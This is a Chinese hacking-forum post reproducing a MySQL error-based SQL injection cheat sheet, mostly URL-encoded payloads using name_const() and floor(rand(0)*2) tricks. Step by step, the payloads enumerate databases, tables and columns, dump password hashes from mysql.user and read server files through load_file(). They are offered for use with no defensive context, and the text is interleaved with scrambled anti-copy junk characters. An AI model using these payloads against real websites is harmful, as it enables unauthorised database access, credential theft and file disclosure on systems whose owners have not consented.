找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2550|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
. \* Z& H# w% O8 D# l: J3 q0 O5 o# b; y  Z* c
2 O' L, Y6 ]% A" v; {0 C
Mysql暴错注入参考(pdf),每天一贴。。。' W; j  h9 X" e1 a- ^5 {8 }9 B

) A- l# X+ o: }MySql Error Based Injection Reference6 I  i) Y: Y0 V' Y/ U+ N$ ]6 X; @; g
[Mysql暴错注入参考]
" E7 N; p8 v6 X- o$ nAuthornig0s1992
" G( N+ M, H/ [1 t4 D9 vBlog:http://pnig0s1992.blog.51cto.com/
; E; e2 B; G) u4 O8 J' x) F  mTeAm:http://www.FreeBuf.com/* S% a6 c, p7 U
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
2 |$ R7 u! C/ @9 _- s/ ^小部分版本使用name_const()时会报错.可以用给出的Method.2测试8 ^" ~  X# a7 g4 N% y9 y. M3 d
查询版本:
& C& i$ A7 C2 n7 n2 ^Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+/ I. R% S( b1 z2 I2 i0 i
join+(select+name_const(@@version,0))b)c)
; p* L+ n4 P  C+ m. P7 vMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro% k4 q% C5 W1 i$ R/ Y2 ?
up by a)b)' c. k2 B- j/ E! U, P$ d  a) e
查询当前用户:& v4 p% x% {  Z5 p5 R5 q- I. i
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
: `& Q& v- k; t) jMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r9 X5 U6 h! d) i% V7 P% g# m4 {
and(0)*2))x+from+information_schema.tables+group+by+x)a)3 |1 @: e' D" b9 Z! |1 t0 c
查询当前数据库:3 E4 G  o- L- A! w4 T. D8 e1 q
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
7 k$ F+ i9 x! o1 j. ^- s2 hMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
& ^8 F. M0 A7 x. z: Q8 o! {6 dor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
. J! |, d+ t, H  E' W依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+1 o  A4 }# k4 B9 ?4 R1 I! S
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n( m) r; P& O% F4 k4 A7 g
顺序替换
9 `0 J1 ~. r  g0 c0 C爆指定库数目:
  h* w& d  z& N' pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
  o% U0 n8 a% C6 A% |) Y/ eable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group1 C9 L% f6 }4 D) C+ G# ^* j
+by+x)a)+and+1=1 0x6D7973716C=mysql4 L3 l3 o$ H/ f2 {, _; g  j* p* I
依次爆表:
& P4 M( d& t- J, H3 \, Y+ Vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
* y$ e$ Q! ~' a3 Hable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta6 m3 a  |6 t0 E; b. v8 Q
bles+group+by+x)a)+and+1=1
' }+ a5 m8 w- b, W; m  p$ A+ ^0x6D7973716C=Mysql 将n顺序替换
/ K/ m" s( W! P2 W' r. X. N; f/ m爆表内字段数目:# d) k, s9 Z4 V& k7 ^/ `. j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE6 m" Z5 c( o" x. b, |( r2 S3 q
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
* [( f3 v7 D5 Q# P7 q# s! {/ Z0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( j; v: [1 K: }# D1 H依次爆字段:
$ x4 d$ r5 ]/ vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where+ U9 Y2 T! w( Y0 R+ _. u
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
& h  T- w8 K. U' G" Gloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换3 W! T0 s; X# q0 g% F
依次暴内容:$ o$ O. k+ J% I& i- `' |0 O# H
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche4 e6 X2 `* u+ N; l
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
' m: X7 R/ p/ T* J* f将n顺序替换8 M) b1 W! Y+ y! E. p' F) P
爆文件内容:
! G* @/ b, m4 h7 c4 E' Sand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a/ L) g/ q( L# j% Q- @8 W5 c5 J
from+information_schema.tables+group+by+a)b) 6 h& I. q0 _3 h  Y9 ]/ Z
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节- d: h7 n+ c) J8 S9 M( H+ j
Thx for reading.$ i) M9 q) k/ V" Z, ?, o+ e. |) ^

2 P) @0 D( s' q! V不要下载也可以, 2 S4 m9 Z1 Z! W

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表